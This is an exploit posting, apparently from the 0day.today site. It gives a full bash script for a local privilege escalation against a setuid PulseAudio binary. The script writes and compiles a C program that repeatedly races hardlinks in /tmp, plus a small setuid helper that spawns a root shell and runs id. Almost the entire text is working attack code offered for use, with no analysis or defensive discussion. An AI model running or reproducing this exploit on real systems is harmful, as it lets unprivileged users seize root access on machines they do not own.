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PulseAudio setuid Local Privilege Escalation Exploit
==================================================== PulseAudio setuid Local Privilege Escalation Exploit ==================================================== #!/bin/bash pulseaudio=`which pulseaudio` workdir="/tmp" #workdir=$HOME id=`which id` shell=`which sh` trap cleanup INT function cleanup() { rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c rm -rf $workdir/PATMP* } cat > $workdir/pa_race.c << __EOF__ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/wait.h> #define PULSEAUDIO_PATH "$pulseaudio" #define SH_PATH "$workdir/sh" #define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX" void _pause(long sec, long usec); int main(int argc, char *argv[], char *envp[]) { int status; pid_t pid; char template[sizeof(TMPDIR_TEMPLATE)]; char *tmpdir; char hardlink[sizeof(template) + 2]; char hardlink2[sizeof(template) + 12]; srand(time(NULL)); for( ; ; ) { snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE); template[sizeof(template) - 1] = '\0'; tmpdir = mkdtemp(template); if(tmpdir == NULL) { perror("mkdtemp"); return 1; } snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir); hardlink[sizeof(hardlink) - 1] = '\0'; snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir); hardlink2[sizeof(hardlink2) - 1] = '\0'; /* this fails if $workdir is a different partition */ if(link(PULSEAUDIO_PATH, hardlink) == -1) { perror("link"); return 1; } if(link(SH_PATH, hardlink2) == -1) { perror("link"); return 1; } pid = fork(); if(pid == 0) { char *argv[] = {hardlink, NULL}; char *envp[] = {NULL}; execve(hardlink, argv, envp); perror("execve"); return 1; } if(pid == -1) { perror("fork"); return 1; } else { /* tweak this if exploit does not work */ _pause(0, rand() % 500); if(unlink(hardlink) == -1) { perror("unlink"); return 1; } if(link(SH_PATH, hardlink) == -1) { perror("link"); return 1; } waitpid(pid, &status, 0); } if(unlink(hardlink) == -1) { perror("unlink"); return 1; } if(unlink(hardlink2) == -1) { perror("unlink"); return 1; } if(rmdir(tmpdir) == -1) { perror("rmdir"); return 1; } } return 0; } void _pause(long sec, long usec) { struct timeval timeout; timeout.tv_sec = sec; timeout.tv_usec = usec; if(select(0, NULL, NULL, NULL, &timeout) == -1) { perror("select"); } } __EOF__ cat > $workdir/sh.c << __EOF__ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char *argv[], char *envp[]) { if(geteuid() != 0) { return 1; } setuid(0); setgid(0); if(fork() == 0) { argv[0] = "$id"; argv[1] = NULL; execve(argv[0], argv, envp); return 1; } argv[0] = "$shell"; argv[1] = NULL; execve(argv[0], argv, envp); return 1; } __EOF__ gcc -o $workdir/pa_race $workdir/pa_race.c gcc -o $workdir/sh $workdir/sh.c $workdir/pa_race # 0day.today [2024-05-10] #